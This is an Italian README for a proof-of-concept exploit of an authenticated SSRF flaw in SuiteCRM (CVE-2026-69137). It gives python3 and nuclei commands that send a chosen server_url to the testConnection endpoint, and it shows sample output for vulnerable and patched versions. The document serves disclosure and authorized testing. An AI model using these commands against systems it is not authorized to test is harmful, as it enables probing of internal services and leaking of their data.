
SuiteCRM <= 7.15.1, <= 8.10.1 - SSRF autenticato
Proof of concept di server-side request forgery autenticato per SuiteCRM tramite l'endpoint CalendarAccount/testConnection e il provider caldav_basic.
Le versioni interessate di SuiteCRM accettano il parametro server_url fornito da un utente autenticato e lo passano a cURL senza validare la destinazione. Ciò consente richieste lato server verso servizi HTTP di loopback o interni. Nelle release vulnerabili, una risposta di connessione fallita può anche divulgare i dati di risposta del servizio interrogato all'interno del messaggio di errore.
Il PoC si autentica con un account SuiteCRM valido e richiede un URL controllato. La sua destinazione predefinita, http://127.0.0.1:1/, è una porta di loopback chiusa: dimostra che SuiteCRM ha tentato la connessione lato server senza richiedere un servizio esterno.
--server-urlNon sono richiesti pacchetti Python di terze parti.
Validazione locale di base contro SuiteCRM:
python3 CVE-2026-69137.py \
-u http://127.0.0.1:8081 \
-U admin \
-P 'password'
Utilizzo di una sessione autenticata esistente:
python3 CVE-2026-69137.py \
-u https://suitecrm.example \
--cookie 'PHPSESSID=value'
Test di una destinazione interna o controllata autorizzata:
python3 CVE-2026-69137.py \
-u https://suitecrm.example \
-U user \
-P 'password' \
--server-url http://127.0.0.1:8080/
-u, --url SuiteCRM base URL
-U, --username SuiteCRM username
-P, --password SuiteCRM password
--cookie Authenticated SuiteCRM Cookie header value
--server-url URL fetched by SuiteCRM; default: http://127.0.0.1:1/
--timeout HTTP timeout in seconds; default: 35
-k, --insecure Disable TLS certificate verification
Le versioni vulnerabili restituiscono un errore del test di connessione dopo aver elaborato l'URL fornito:
[*] Authenticating with SuiteCRM legacy login...
[*] Sending testConnection request with server_url=http://127.0.0.1:1/
[!] Vulnerable behavior confirmed: SuiteCRM processed the supplied server_url.
Server message: Connection test failed. Network error: Failed to connect to 127.0.0.1 port 1 ...
Le versioni corrette rifiutano le destinazioni non consentite prima di tentare la connessione:
[+] Target rejected the supplied URL; the SSRF fix appears to be present.
CVE-2026-69137.yaml si autentica con username e password, riutilizza la sessione SuiteCRM ed esegue la stessa sonda su loopback chiuso:
nuclei -u https://suitecrm.example \
-t CVE-2026-69137.yaml \
-var username=user \
-var password='password'
Il template è stato validato con:
nuclei -validate -t CVE-2026-69137.yaml
--server-url solo verso destinazioni che si è autorizzati a testare.